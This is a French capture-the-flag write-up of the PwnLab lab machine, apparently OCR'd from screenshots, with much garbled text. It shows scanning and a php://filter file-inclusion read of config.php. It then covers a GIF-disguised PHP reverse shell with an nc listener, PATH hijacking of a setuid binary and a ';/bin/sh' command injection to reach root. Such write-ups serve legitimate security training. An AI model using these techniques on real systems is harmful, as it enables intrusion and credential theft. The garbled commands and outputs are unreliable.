RAPPORT DU CHALLENGE PWNLAB:

Apres avoir téléchargé et importé la machine vulnérable dans I’hyperviseur VMWARE, nous avons

effectué les étapes suivantes:

Etapel: Verifier ’adresse ip de la machine

Nous avons ensuite scanner le réseau afin de vérifier si la machine pwnlab a obtenu une adresse ip et

nous avons constaté qu’elle a obtenu [’adresse 192.168.0.173.

O nmap 192.168.0.0/24

192 .168 2
Starting Nmap 7.92 ( https:// .org ) at 2822-11-17 15:36
Nmap scan report for
Host is up (0.0041s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
] open domain
open http
ftcp open upnp
MAC Address: B@:A7:B9:11:CD:12 (TP-Link Limited)

Nmap scan report for pwnlab (192.168.0.173)
Host is up (0.0040s latency).

Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE

open http
open rpcbind
ftcp open
Address: CP:38:96:0C:C3:3D0 (Honm Hai Precision Ind.)

CET

Etape 2: Trouver les services disponible sur cette machine ainsi que leurs ports et versions

respectives a [’aide de nmap



Host is up (
Not shown:
T STATE (
tep open che htt 2.4.10 ((Debian))

erver-header:
open rpcbind

rpcbind
rpcbind

p open mysgl
/tcp open status

TRACEROUTE
HOP RTT ADDRESS
1 1.15 ms pwnlab (192.168.0.

erv tion performed. Plea y incorrect results at http
Nmap done: 1 IP addre

Nous avons les services ci-dessous et leurs versions:

(J Apache a la version 2.4.10 ouvert sur le port 80/tcp 2.4.10 ((Debian))
[J rpcbind a la version 2-4 ouvert sur le port 111/tcp
() MySQL ouvert sur le port 3306/tcp

Etape3: Enumération

() sudo nikto -h 192.168.0.173

nmap.org/submit/




ferent fashion to the MIME type

r HTTP/1.@. The value is "
branch.

Avec nikto, nous avons obtenu la présence d’un fichier config.ph sur le serveur. Il est aussi notifié que
ce fichier comporte les IDS et mot de passe de la base de données.

Nous avons accédé a l’interface web. et nous avons constaté que ['url change a chaque fois que nous
passons d’une page a une autre.

O & 192.168.0.173 s

Kali Linux § Kali Tools < Kali Docs & Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec == Uninstall Workstation ... How To Insta

PRMNLRD

[ Home ] [ Login ] [ Upload ]

Username:

Password:

[Taqin |

& C O & 192168.0.173
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[ Home ] [ Login ] [ Upload ]

You must be log in.

Nous avons décidé de voir le contenu de ce fichier config.php.
Nous avons essayé de changer ['url avec “config”, mais nous n’avons pas trouvé de contenu.

En recherchant les failles liées a la lecture des fichiers locaux, nous avons découvert qu'il existe une
vulnérabilité d'inclusion de fichiers locaux dans ce type de changement d’url a chaque sélection de
page. L'inclusion de fichiers locaux (LFI) est une vulnérabilité qui a pour objectif de lire le contenu
des fichiers présents sur le serveur de la victime car l'inclusion se fait sur les fichiers déja présent sur
le serveur. Nous [’avons utilisé pour lire le code source des scripts PHP qui exécutent l'application



Web. Il existe une variante de LFI qui utilise des convertisseurs PHP intégres pour convertir le code
source en base64 afin que nous puissions le décoder et le lire,
https://leclerc-web.fi/les-failles-des-sites-web/

Nous nous sommes rendu sur le site htips:
puis nous avons trouvé le filtre php://filter. php. //f Iter permet a un pentester d'inclure des fichiers
locaux et d’encode la sortie en base64. Par conséquent, toute sortie base64 devra étre décodée pour

revéler le contenu.

(O http://192.168.0.173/?page=php://filter/convert.base64-encode/resource=config

& + Disc PwnlLab ' % I Vulnf

.base64-encode/resource=config

Google Hacking DB OffSec w= Uninstall Workstation ... How To Install remmin...
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[ Home ] [ Login ] [ Upload ]

PD9waHANCiRzZX]2ZXIJICA9IC]sb2NhbGhve3QiOw0KJHVZZXJuYW11ID0gTIn]vh3Qi0w0KJHBhc3N3b3]kID0gTkg0dSVRSIOTOTkiOw0K] GRhdGFiYXNIIDOGIIVZZX]zTjsh

Nous avons copié ce code dans un fichier et nous [’avons décode.

[J echo
“PDIwaHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhve3QiOWOKJHVzZXJuYWI1IIDOgInJ

vb3QiOwOKJHBhc3N3b3JkID0glkg0dSVRSIVIOTkiOWOKJGRhAGFiYXNIIDOgIIVzZ
XJzIjsNCj8+ " > code.txt

[ base64 code.txt -d

wOKIHBhc 0gTkg S19I0Tki0weKIGRhdGF1YXN1ID@gI1 JzIjsNCj8+

CASICIsb2NhbGhy



https://leclerc-web.fr/les-failles-des-sites-web/
https://www.aptive.co.uk/blog/local-file-inclusion-lfi-testing/

(] base64 code.txt -d > decode.txt

decode.

"localhost®;

root”;
hbpassword "H4u%QJ_H99";

"Users";

Nous avons obtenu le username, le mot de passe, contenu dans le fichier config.php
Etape4: Connexion et exploration de la base de données

(] mysql -h 192.168.0.173 -u root -p, nous avons utiliser le mot de passe que nous avons obtenu

dans le fichier config.txt

[ show databases;

— -h 192.168.8.173 -u root -p

Enter password:

elcome to the MariaDB monitor. Commands end with ; or \g.

our MySOL connection id is 41
Server version: 5.5.47-0+debBul (Debian)

opyright (c) 200@, 2018, Oracle, MariaDB Corporation Ab and others.

ype "help;’ or "\h"' for help. Type '\c’' to clear the current input statement.
MySQL [(none)]> show databases;
Database

information_schema
Users

rows in set (0.033

MySOL [(none)]> use

(] use Users;
(] show tables;
(] select * FROM users



MySQL [(none)]> use Users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

MySQL [Users]> show tables

+
_Users |
+
|

+
row in set {(©.832 sec)

4+
|
4+
|
4+
1

select *# FROM users

Nous avons décodé ces mots de passes:

echo "SId6WHVCSkpOeQ==">kent passwd
echo "UOImZHNURWA42SQ=="">mike_passwd
echo "aVN2NVItMkdSbw=="">kane passwd
base64 kent_passwd -d > kent

base64 mike passwd -d > mike

base64 kane passwd -d > kane

cat kent => JWzXuBJJNy

cat mike => SlfdsTEn6l

cat kane => iSv5Ym2GRo

000000000

Nous nous sommes connecté avec [ utilisateur, kent, et nous avons été redirigé vers la page d upload
de fichier. Nous avons préparé un reverse-shell php avec [’extensions d 'une image, mais une fois
['upload effectué, nous obtenu [’erreur ci-dessous:
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[ Home ][ Login ][ Upload ]

‘. Browse... ‘ No file selected. | Upload ‘

Error 002

Nous avons lu le contenu de cette page upload avec [’exploitation du LFI:
http://192.168.0.173/?page=php://filter/convert.base64-encode/resource=upload puis nous avons
obtenu le code base64 ci-dessous:

&= C @ O A& 92.168.0.173/2page=php:/ffilter/convert.base64-encode/resource=upload
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[ Home ] [ Login ] [ Upload 1

PD9waHANCnNIc3Npb25fc3RhcnQoKTsNCmImICghaXNzZXQo]FOTRVNTSU90Wyd1c2Vy]10pKSB7IGRpZSgnWW91IG11¢3QgYmUgbG9nIGluLicpOyBIDQo/PgOKPG]

Nous avons copié ce code dans un fichier afin de le décoder.

O echo
"PDIwaHANCnNIc3Npb25fc3RhenQoKTsNCmimICghaXNzZXQoJFITRVNTSUYOWyd1c2V
yJI10pKSB7IGRpZSgnWW911G11c302YmUgbG9nlGluLicpOyBIDQo/PgOKPGhObWw+DQo
JPGIVZHEk+DQoJCTxmb3JtIGFjdGlvbjOnJyBtZXRob2Q9J3Bvc30nIGVuY3R5cGUYJ211bH
RpcGFydC9mb3JtLWRhdGEnPgOKCQkJPGlucHVOIHR5cGU9J2ZpbGUnlG5hbWU9J2Zpb
GUnIGIkPSdmaWxlJyAvPg0K COkJPGlucHVOIHRS5cGUYJ3INI YmIpdCcgbmFtZTOnc3VibWl
0JyB2YWx1ZTOnVXBsb2FkJy8+DQoJCTwvZm9ybT4NCgkSL2JvZHk+DQo8L2h0bWw+DQ
08P3BocCANCmImKGlzc2VOKCRIUE9TVFsnc3VibWli0J10pKSB7DQoJaWYgKCRfRKIMRYV
NbJ2ZpbGUnXVsnZXJyb3InXSASPSAWKSB7DQoJCSRmaWxlbmFtZSAgPSAKXOZJTEVTWy
dmaWxlJ11bJ25hbWUnXTsNCgkJJIGZpbGV0eXBIICA9ICRIRKIMRVNbDJ2ZpbGUnXVsndHlw
285ddOw0K CQkkdXBsb2FkZGlyID0gJ3VwbG9hZC8nOwOKCQkkZmisZV9leHQOgIDOgc3Ryc
mNocighkZmlsZW5hbWUsICcuJyk7DQoJCSRpbWFnZWiuZm8gPSBnZXRpbWEFnZXNpemUoJ
FI9GSUxFU1snZmisZSddWyd0bXBfbmFtZSddK TsNCgkJJHdoaXRIbGlzdCAYIGFycmF5KClu
anBnliwiLmpwZWcil CluZ2ImIiwilnBuZylpOyANCg0KCQIpZiAolShpbl9hcnJheSgkZmisZV9


http://192.168.0.173/?page=php://filter/convert.base64-encode/resource=upload

leHQsICR3aGIOZWxpc3OpKSkgewOKCOkJZGIKCAOb3QgYWxsb3dIZCBleHRIbnNpb24sIH
BsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ubHkuJyk7DQoJCXONCgOKCQIpZihzd HIwb3MoJG
ZpbGV0eXBILCdpbWFnZScplDO9PSBmYWxzZSkgewOKCQOkJZGIIK CdFcndvciAwMDEnRKTs
NCgkJfOQOKDQoJCWImKCRpbWEFnZWIluZm9bJ2 1 pbWUnXSAhPSAnaW1hZ2UvZ2ImJyAmJi
AkaW1hZ2VpbmZyvWydtaW11J10gIT0gJ 21t YWdIL2pwZWenlCYmICRpbWEnZWluZm9bJ2 I1pb
WUnXSAhPSAnaW1hZ2UvanBnJyYmICRpbWFnZWiuZm9bJ2 1pbWUnXSAhPSAnaW1hZ2U
veG5nJykgewOKCQOkJZGIIK CdFendvciAwMDInK TsNCgkJfOQOKDQoJCWImKHNI YnNOcl9jb
3VudCgkZmlsZXR5cGUsICcvJyk+MSI7DQoJCQOlkaWUoJOVyem9yIDAwWwMycpOwOKCQI9D
QoNCgkJJHVWbGINZGZpbGUgPSAkdXBsb2FkZGlyIC4gbWQ1KGJhc2VuYW1IKCRfRKIMR
VNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZpbGVIZXh0OwWOKDQoJCWImIChtb3ZIX3VwbG9hZ
GVkX2ZpbGUoJFIGSUxFU1snZmlsZSddWyd0bXBfbmFtZSAddL CAkdXBsb2 FkZmlsZSkpIHs
NCgkJCWVjaG8gljixpbWcgc3JjPVwili4kdXBsb2FkZmlsZS4iXCI+PGJyIC8+1jsNCgkJfSBIb
HNIIHsNCgkJCWRpZSgnRXJyb31gNCcpOwOKCQI9DQoJfOOKfOQOKDQo/Pg==">
upload.txt

[J base64 upload.txt -d > upload_decode.txt
[ cat upload decode.txt

S om P12 3 ¢ I ®F 0O apoo|a e

Fichier Actions Editer Vue Aide
Shell No.1 X mass@kali: ~ X mass|

upload. txt upload_deco

uplnad_ﬂécnﬂe.txt

10" name' 1)) . $file_ext;

ploadfile)) {

En insspectant la page, nous avons obtenu la source de ['image.
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I B | Me Bl o [y
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w <body> Ny ¥ Flexbox
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<img src="images/pwnlab.png">
<br> ~ Grid
[
<a href="/"sHome</a= CS5 Grid is not in use on this page
1 ~ Box Model
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</form>
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<br> [overflow 24x24
=/center> w Box Model Properties
</body> box-sizing con
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Apres nos recherches, pour résoudre cette erreur, nous nous sommes rendu sur le site
https://ecobiasinfosec.blog/2019/12/24/file-upload-attacks-php-reverse-shell/ on nous avons trouvé

d'autres filtres qui examinent le "nombre magique" au début d'un fichier pour déterminer s'il s'agit
d'une image valide.

Nous avons donc modifier le fichier php-reverse-shell. php.gif, en insérant des octets au début du
fichier.

[ hexeditor -b php-reverse-shell.php
(J ctri+A sur chaque octet a modifier

ShellNo.1 x

[ ctri+x pour sauvegarder la modification


https://gobiasinfosec.blog/2019/12/24/file-upload-attacks-php-reverse-shell/

ShellNo.1 X : mass@kali: ~/Téléchargements/php-reverse-shell-1.0 x

Nous avons démarré [’écoute sur notre machine local: nc -lnvp 1234
Nous avons démarré ['outils burpsuite afin d’intercepter la requéte . Nous avons envoyé le fichier
reverse shell a nouveau.

@
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[ Home ] [ Login ] [ Upload ]

| Browse ‘ php-reverse-shell.php.gif | Upload |
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3 Inspector Console [ Debugger T Metwark {} Style Editor () Performance  {0i Memory [E) Storage T Accessibility 528 Application 0] e
A HTML 4+ | VFier hov s + ¥ @ O [0 layout Computed Changes Fonts  Anima
<html> element {3 { inline| w Flexhox
w <head }
<title>PwnLab Intrar Image Hosting</title Select a Flex container or item to continue.
head:
- Grid

¥ <body>

CSS Grid is not in use on this page

<br> ~ Box Model

margin 8

gin">Logine/as

<a href="2page=upload">Uploads/a>
1

<hr=>

<br>
b <form action="" method="post® enctype="multipart/form-data"s (= </form= loverflow
<ing src="upload/458619cBT9bI9Fcal F46d28707bCSSCS.gif > overflon

<br> [overflaw

1338x172 static
</center>
</body> = Box Model Properties
</html> box-sizing content-bax

Dans burpsuite, nous avons envoye la requéte dans “Repeater”, afin de la modifié. En interceptant la
requéte via Burp, insérons le chemin téléchargé dans le parametre LANG.



Burp Suite Community Edition v2022.7.1 - Temporary Project

Burp Project Intruder Repeater Window  Help
Dashboard  Target Intruder  Repeater  Sequencer  Decoder  Comparer  Logger  Extender Project options
1% 2%+
Request Response
Raw  Hex n Rav
2 Host: 192.168.0,173 1
2 User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:91.8) Gecko/20180101
Firefox/91.0
4 Accept:
text/htwl, application/xhtml+xnl . application/xml;q=0.9, inage /webp, */+;q=
0.8
S Accept-Language: en-US,en;g=0.
6 Accept-Encoding: gzip, deflate

nultipart/forn-data;

Content-Type
boundary=
Content-Length: 5850

9 Origin: http://192.168,0.173

10 Connection: close

11 Referer: http://192.168.0,173/page=upload
12 Cookie: PHPSESSID=nv4Svfnr7eqkh&6Laiht hnphnl
13 Upgrade-Insecure-Requests: 1

43023490122639151713577784737

@

F R LREE P L PR P PEP PR 430234901 2263915171 3577764757
16 Content-Disposition: form-data; name="file"; filename="
php-reverse-shell. php.gif*

Content-Type: image/gif

GIF8<7php
7/ php-reverse-shell - A Reverse Shell implementation in PHP
£/ Copyright (C) 2007 pentestmonkey@pentestmonkey.net

7/ This tool may be used for legal purposes only. Users take full
responsibility

24 f/ for any actions performed using this tool.

liability

7/ for damage caused by this tool.

ta you, then

// do not use this tool.

The author accepts no

If these terns are not acceptable

A €[>

Omatches

@A |€/[>

Done

Useroptions  Leam
Q
Target:http:ff192168.073  /°  HTTRI (2)
LR Inspector W T - @& X
no=
Request Attributes 2 o~
Request Query Parameters 1>
Request Body Parameters. 2 o~
Request Cookies 1~
Request Headers 2 o~
0 matches
Obytes

Burp Suite Community Edition v2022.7.1 - Temporary Project

Burp Project Intruder Repeater Window Help
Dashboard  Target Intruder  Repeater  Sequencer  Decoder  Comparer  Logger  Extender  Projectoptions
1% 2x 4
=
Request Response
Raw  Hex Raw
1 POST /?page=upload HTTP/1.1 1
2 Host: 192,168.8.173

rv:91.0) Gecko/20100101

w

User-Agent: Mozilla/5.0 (X11; Linux x86 64;
Firefox/9l.0

4 Accept:
text/htwl,application/xhtml+xnl,application/xml;q=0.9, inage /webp, */%;q=
0.8

Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary:
§ Content-Length: 5850

o Origin: http://192.168.0.173

10 Connection: close

11 Referer: http://192.168.0,173/ ?page=upload

12 Cookie: lang=../upload/450619c0fSha9fca3f46d28787bcS5cS, gif
13 Upgrade-Insecure-Requests: 1

o

43023490122639151713577784737

- - --43023496122639151 713577784737

16 Content-Disposition: forn-data: name='file"; filename="
php-reverse-shell.php.gif

7 Content-Type: image/gif

GIF8<7php

7/ php-reverse-shell - A Reverse Shell implementation in PHP

/7 Copyright (C) 2007 pentestmonkey@pentestmonkey.net

"

7/ This tool may be used for legal purposes only. Users take full
responsibilit

24 // for any actions performed using this tool.
liability

25 ¢/ for damage caused by this tool.

te you, then

(O ARIEd

Done

The auther accepts no

If these terns are not acceptable

R

Omatches

@ |€l[»

User options Learn

0

Hen (2

Target: http://192.168.0173 /5

_ Inspector @ = - & x
" = RequestAttributes 2 o~
Request Query Parameters 1.
Request Body Parameters. P
Reguest Cookies 1.
Request Headers P I

0 matches
Obytes

Ensuite en cliquant sur “Send” nous avons obtenu le shell.



Fichier Actions Editer Vue Aide

Shell No.1 X mass@kali: ~ X mass@kali: ~/Téléchargements/php-reverse-shell-1.0 X

29) 1686 GNU/Linux

[J Nous avons essayé de nous connecté avec le username kent, et nous avons constaté que le
shell était restreindre.

run from a terminal

Nous avons donc pris un shell tty: python -c 'import pty,;pty.spawn("/bin/bash"),’

su: must be rum from a terminal
$ python -c "import pty;pty.spawn(”/bin/bash”};
wwnw —data@pwnlab:/$ |}

www-data@pwnla
whoami

www -data
www-datadpwnlab:/$ |}

Nous n’avons pas obtenu d’information importante.



lib
lost+found
media

mnt

vmlinuz — boot/vmlinu

kane@pwnlab:/$ cd
cad ~
kane@pwnlab:~% 1s

kane

root

kane

kane
-TWST-5T-X ike mike 4 7 2016 msgmike
-TW-T--T-- kane 67 7 2016 .profile
kane@pwnlab:~% ./msgmike
J/msgmike
cat: /home/mike/msg.txt: No such file or directory
kane@pwnlab:~% |

En l'exécutant, il affiche simplement le contenu en utilisant cat, qui n'a pas de nom complet.
Nous avons modifié son contenu avec /bin/sh et modifé le PATH pour trouver d'abord "cat” dans le
PATH actuel.

[ echo ‘bin/sh’> cat
() ¢hmod 777 cat
(J export PATH=:./:$PATH



kanefpwnlab: /%

cd ~

kanefpwnlab:~%

echo "/bin/sh’

kane@pwnlab:~%

chmod 777 cat

kane@pwnlab:~% export PATH=:./:%PATH

export PATH=:

kane@pwnlab:~% ./msgmike

./msgmike

$ id

id

uid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane)

5 []

En explorant le répertoire mike, nous pouvons voir qu'il y a un message pour root.
[ cd /home/mike

O Is -la
iWlcd /home/mike

.bash_logout

. B
1
1
1
1

En exécutant msg2root, nous avons constaté qu'il a besoin d'une entrée de l'utilisateur. Nous avons
pensé a l'injection de commande. Nous avons ajouté ,;/bin/sh puis nous avons eu acces a root.



./msgmike

$ id

id

uid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane)
$ cd /home/mike

cd /home/mike
$ 1s -la
1s -la
total 28
drwxr-x— 2 mike mike

drwxr-xr-x 6 root root "

-tw-r—r— 1 mike mike .bash_logout

-rw-r—r-— 1 mike mike .bashrc

-rwsr-sr-x 1 root root msg2root

-Tw-r—r-— 1 mike mike .profile

$ ./msg2root

./msg2root

Message for root: hello;/bin/sh

hello;/bin/sh

hello

# id

id

uid=1802(mike) gid=1002(mike) euid=0(root) egid=8(root) groups=0(root),1083(kane)
# 1s

1s

msg2root

# cd /root

cd /root

# 1s

1s

flag.txt messages.txt

# 1

cd /root

d /root
i s

s

lag.txt messages.txt
f cat flag.txt

at flag.txt

If you are reading this, means that you have break 'init’
Pwnlab. I hope you enjoyed and thanks for vyour time doing
this challenge.

Please send me your feedback or your writeup, I will Tlove
reading it

For sniferl&4bs.com
claor@PwnlLab.net - @Chronicoder




